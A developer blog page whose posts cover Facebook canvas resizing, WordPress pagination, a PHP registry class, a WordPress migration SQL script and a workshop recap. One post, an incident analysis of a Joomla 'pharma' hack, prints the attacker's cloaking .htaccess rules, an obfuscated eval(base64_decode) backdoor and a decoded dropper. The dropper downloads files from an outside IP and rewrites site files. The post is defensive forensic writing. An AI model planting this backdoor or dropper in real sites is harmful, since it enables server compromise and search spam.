Facebook Set Auto Grow – A version that actually works

One the hard things about Facebook App development is debugging weird Facebook API issues.

One of them is the inconsistent use of the FB.Canvas Javascript methods. Particularly FB.Canvas.setAutoGrow and FB.Canvas.setSize. The documentation explains that (either or both?) can be used ad hoc to resize the app iframe. Well that’s not exactly the case, as neither work when called after the initial page load.

Although hacky, this solution actually works.

Joomla ‘Pharma’ Hack

One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.

I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.

Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.

What we discovered was the following in the .htaccess file:

# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>

What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here: http://redleg-redleg.blogspot.ca/2011/02/pharmacy-hack.html.

However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?

I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:

/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }

Basically what this does is run whatever is passed in the $_REQUEST["mod_content"] variable. Pretty nasty since it means that any base64_encoded string will be run as is.

At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:

/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.

That param decodes to a lovely PHP script:


if ( extension_loaded( "curl" ) ) {
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/door.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $door = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_code = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp2.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_ht = curl_exec( $ch );
 } else {
 $door = @file_get_contents( "http://209.190.20.51/door.txt" );
 $inc_code = @file_get_contents( "http://209.190.20.51/include_code_temp.txt" );
 $inc_ht = @file_get_contents( "http://209.190.20.51/include_code_temp2.txt" );
 }if ( is_file( "/home/user/public_html/index.html" ) ) {
 $index = "/home/user/public_html/index.html";
 }if ( is_file( "/home/user/public_html/index.htm" ) ) {
 $index = "/home/user/public_html/index.htm";
 }if ( is_file( "/home/user/public_html/.htaccess" ) ) {
 $index = "/home/user/public_html/.htaccess";
 }if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
 $index = "/home/user/public_html/favicon.ico";
 }if ( is_file( "/home/user/public_html/index.php" ) ) {
 $index = "/home/user/public_html/index.php";
 }if ( is_file( "/home/user/public_html/common.php" ) ) {
 $index = "/home/user/public_html/common.php";
 }$time = filemtime( $index );
 $chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
 $chmod = trim( $chmod );
 $chmod = intval( $chmod, 8 );
 @unlink( "/home/user/public_html/common.php" );
 $fp = fopen( "/home/user/public_html/common.php", "w" );
 fputs( $fp, $door );
 fclose( $fp );
 @chmod( "/home/user/public_html/common.php", $chmod );
 touch( "/home/user/public_html/common.php", $time );
 $htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
 @unlink( "/home/user/public_html/.htaccess" );
 $fp = fopen( "/home/user/public_html/.htaccess", "w" );
 fputs( $fp, $htaccess );
 fclose( $fp );
 @chmod( "/home/user/public_html/.htaccess", $chmod );
 touch( "/home/user/public_html/.htaccess", $time );
 

This little script is what recreates all the spammy files.

So there it is, a URL param that run’s CURL requests to setup spam files on a server.

Wanted to record this so that anyone else having this issue has somewhere to look.

TTFN.

WordPress pagination on custom posts

Something I just came across in the WordPress.org forums that I thought would share as it definitely helped me (http://wordpress.org/support/topic/pagination-on-singlephp-causing-301-redirect?replies=9).

Let’s say you’ve created a new custom post type, let’s say it’s called ‘fancy-post’. If you want a custom template for all the posts in the custom type, all you need to do is create a file in your theme called single-{post-type}.php. So in our case it’s single-fancy-post.php.

This works because WordPress knows too look in the theme for certain template files, as according to the Template Heirarchy.

However, one thing I came across was that if you have a listing of other posts on a custom post, and you want to paginate things, it aint going to work. At least not without a little extra work.

WordPress handles links internally using a bunch of methods, but the one that was catching me up was the redirect_canonical method in wp-includes/canonical.php. Basically this giant function handles redirects within WordPress and tries to find the correct post/page depending on the url given.

However, if you’ve got a custom post type, and you want to paginate, you have to override some of it’s behaviour. This is because there is code in this function that checks for singular posts, but not for custom posts. All custom posts get treated like regular posts, and the page/num behaviour get’s overridden as a result.

Anyway, basically this function is overriding the default pagination of WordPress but redirecting back to the first page.

To override this, you just need to tie into the ‘redirect_canonical’ hook and override it for your post type:

Credit to whatadewitt on the forums, http://wordpress.org/support/profile/whatadewitt


add_filter('redirect_canonical','my_disable_redirect_canonical');

function my_disable_redirect_canonical( $redirect_url ) {
    if ( is_singular( 'fancy-post' ) )
	$redirect_url = false;
    return $redirect_url;
}

WP Register – PHP registry for WordPress development

One of the things I think could be improved in alot of PHP code is the use of global level variables. While it’s not ideal to use a global system for variables, sometimes it’s necessary for reporting error messages or storing data for use elsewhere in an application

While the $_SESSION can be used, I’m a fan of taking the OO approach and relying on the magic _get and _set methods in PHP 5.

Anway, below is the plugin code for setting up a simple PHP 5 registry

class WP_Registry {

/* Where everything is stored */
private static $_arrRegistry = array( );

public function __construct() {

}

/**
* Set Magic Method
*
* Sets data to the registry
*
* @param string $name
* @param mixed $value
*/
final public function __set( $name, $value ) {
self::set( $name, $value );
}

/**
* Get Magic Method
*
* Gets from the registry
*
* @param string $name
* @return mixed
*/
final public function __get( $name ) {
return self::get( $name );
}

/**
* Set
*
* Sets to the registry
*
* @param string $name
* @param mixed $value
*/
final public static function set( $name, $value ) {
self::$_arrRegistry[$name] = $value;
}

/**
* Get
*
* Gets from the registry
*
* @param string $name
* @return mixed
*/
final public static function get( $name ) {
if ( array_key_exists( $name, self::$_arrRegistry ) ) {
return self::$_arrRegistry[$name];
} else {
return false;
}
}

/**
* Delete
*
* Deletes item from the registry
*
* @param string $name
* @return void
*/
final public static function delete( $name ) {
unset( self::$_arrRegistry[$name] );
}

/**
* Get All
*
* Gets everything set to the registry. Mainly
* a debugging thing more than anything
*
* @return array
*/
final public static function getAll() {
return self::$_arrRegistry;
}

}



To implement the Registry simple:


WP_Registry::set( 'some_key', $some_value );

And to get the item from the registry:


WP_Registry::get( 'some_key' );

To delete something from the registry:


WP_Registry::delete( 'some_key' );

That’s really it. Super simple but super handy if you’re trying to log a bunch items/variables in memory.

Credit to Simon Emms for the initial code (http://www.simonemms.com/2011/02/08/codeigniter-registry/)

TTFN

WordPress migration SQL Update

Ever have to move a WordPress site to another server? I know I have. This little SQL script makes the migration just a little bit easier.

Step 1: Replace the occurrences of ‘http://example1.ca/site&#8217; with the URL you’re trying to replace.
Step 2: Replace ‘http://example2.ca/site&#8217; with the new URL
Step 3: Run the script in something like PHPMyadmin
Step 4: Have a coffee, you’re done.


UPDATE wp_options
SET option_value = replace(option_value, 'http://example1.ca/site', 'http://example2.ca/site')
WHERE option_name = 'home' OR option_name = 'siteurl';

UPDATE wp_posts
SET guid = replace(guid, 'http://example1.ca/site','http://example2.ca/site');

UPDATE wp_posts
SET post_content = replace(post_content, 'http://example1.ca/site', 'http://example2.ca/site');

UPDATE wp_postmeta
SET meta_value = replace(meta_value, 'http://example1.ca/site', 'http://example2.ca/site');

VIP Intensive Developer Workshop Recap

Reblogged from WordPress.com VIP:

A little more than a week ago, the VIP Services team hosted the 1st VIP Intensive Developer Workshop in Napa, California.

We wanted a small, intimate event, and it sold out quickly with a healthy waiting list of hopeful attendees! The intensive workshop mixed in-depth developer topics & discussion with lively onsite and offsite dinners in the beautiful setting of Napa, California.

Read more… 150 more words

WordPress VIP Workshop – My thoughts

Last week I was lucky enough to attend the WordPress VIP workshop put on by Automattic – the people behind WordPress.com. The training was the first of its kind, drawing in nearly 50 people from around the world. There were attendees from Canada, the U.S, Bulgaria, Australia and Italy. I’m sure there were other nations representing, but that’s what I can remember!

Also in attendance were WordPressers from Time magazine, the Wall Street Journal, NBS and CBS Local.  Needless to say this training was a big deal and was super excited to attend.

Frolicking at the Golden Gate

Before heading to the training, I spent the few days exploring San Francisco and seeing what it was all about. I made the trip to Alcatraz, rode a cable car, went to Pier 39, visited the Golden Gate Bridge and ate a whole lot of seafood.

After a weekend of *ahem* frolicking in SF, I was off to Napa for some intensive WordPress training.

The Venue

The VIP workshop was held at the beautiful Carneros Inn in Napa California. While I could explain what it was like to stay there – with the comfiest-bed-on-earth, the outdoor shower, the personal yard and nightly tuck in service – I’ll let pictures explain:

…Anyway I didn’t get to spend much time in my room, but it was nice while I was there.

WordPress.org, WordPress.com and WordPress.com VIP

If you’re not in the WordPress community, it can be a little confusing to understand the difference between the different kinds of WordPress.

WordPress.org is the PHP based software that we all know and love. It powers 17% of the internet. This is the free software that anyone can download and install on their own web-server. Development of the source code is done by volunteers and there is very little commercial forces driving development as it is open source.

WordPress.com is the free hosted version of WordPress. Anyone can register at http://wordpress.com and have a blog up and running in no time. There are premium upgrades, like custom domain names, themes and plugins, but they are optional.

WordPress.com VIP is a service that Automattic provides to corporations that allows companies to either host their site on WordPress.com servers, or self host. The benefit of VIP is that you get access to the WordPress.com experts and if you use the SaaS Service, you get access to the WordPress.com network and accompanying scalability. VIP also allows you to use your own custom developed theme on WordPress.com, while non-VIP customers have to use ’approved’ themes.

Summary

WordPress.org = FREE + customizable

WordPress.com = FREE + Hosted (optional paid upgrades, customizations)

WordPress.com VIP = Commercial + Hosted/Not Hosted + Custom theme and development

About Automattic

WordPress.com and the VIP crew work for a company called Automattic. They’re a global company that owns not only WordPress.com but also IntenseDebate, Akismet, Gravatar and Poll Daddy. Chances are if you’ve been on the internet, you’ve used their products.

One of the neat things about Automattic is that their employees are distributed, meaning they don’t work in an office. In fact, there is no Automattic head office, everyone works from home! Automatticians, that’s what they call themselves, are also spread out over the entire globe, as you can see on their map.

Annnnyway, back to the conference…

The Training

The format of the training was a 2.5 day conference covering topics specific to VIP development in a wide variety of areas. Everything from front end code optimization to hardware infrastructure and design were discussed.

Some of my favorite sessions we’re those about how Automattic thinks about development and WordPress code. I was really looking forward to learning best practices from some of the best WordPress dev’s in the world. I was not disappointed.

The first day covered topics that included Working within VIP context, Caching, coding standards, debugging techniques, committing to WordPress core, and custom post types/formats.  I particularly learned alot from Mo and Andy Skelton’s sessions on VIP Context and Caching.

It was also very cool to hear from Automattic CEO Toni Schneider and his talk about Automattic, WordPress and the future. He showed us this neat map, that in real time shows posts, comments and likes, on the WordPress.com platform.

On day 2 the topics included best practices for theme development, fetching remote data, XML-RPC and the new JSON API, open sourcing your code, making things faster, the Automattic social team and a Q&A with Barry Abrahamson.

One of the most interesting sessions was the Q&A with Barry. Some of the coolest things I learned were that WordPress.com is using hacked versions of WordPress and PHP!

While they often run off of the trunk or development version of WordPress software, modifications have been made to the core code for scalability and optimization reasons.

He also told us that they’ve hacked core PHP code and particularly the APC module, which they use heavily.

We also were privy to the announcement that WordPress.com now has a JSON REST-ish API!! This was awesome news as I’ve been thinking about writing my own for a while now.

At the end of the two full days of training, my brain was full and I had learned alot about how Automattic does development. I also got to see some of the cool features that have been or are being developed.

The People

Equally as interesting as the topics being taught were the people in attendance. Talking to the team from Automattic was really neat and they were extremely open and accommodating to any questions we had.

I had a good time talking to fellow attendees too. There was people from all sorts of industries, from freelancers to big media to publishers and app developers. We had the chance each day at lunch and dinner to interact and talk about recent projects and what we all were doing.

Concluding thoughts

All in all it was a great trip and well worth the journey. I was hoping for more advanced sessions but I understand that there was a very mixed group with varying levels of technical knowledge. The best part by far was meeting everyone and seeing how WordPress is used in all sorts of industries and applications.

It solidified my thought that I’ve made a good choice in becoming a WordPress developer and that the platform is still growing. I hope to do more VIP development in the future and plan on attending  future WordPress meet-ups and training sessions. Keep it up Automattic!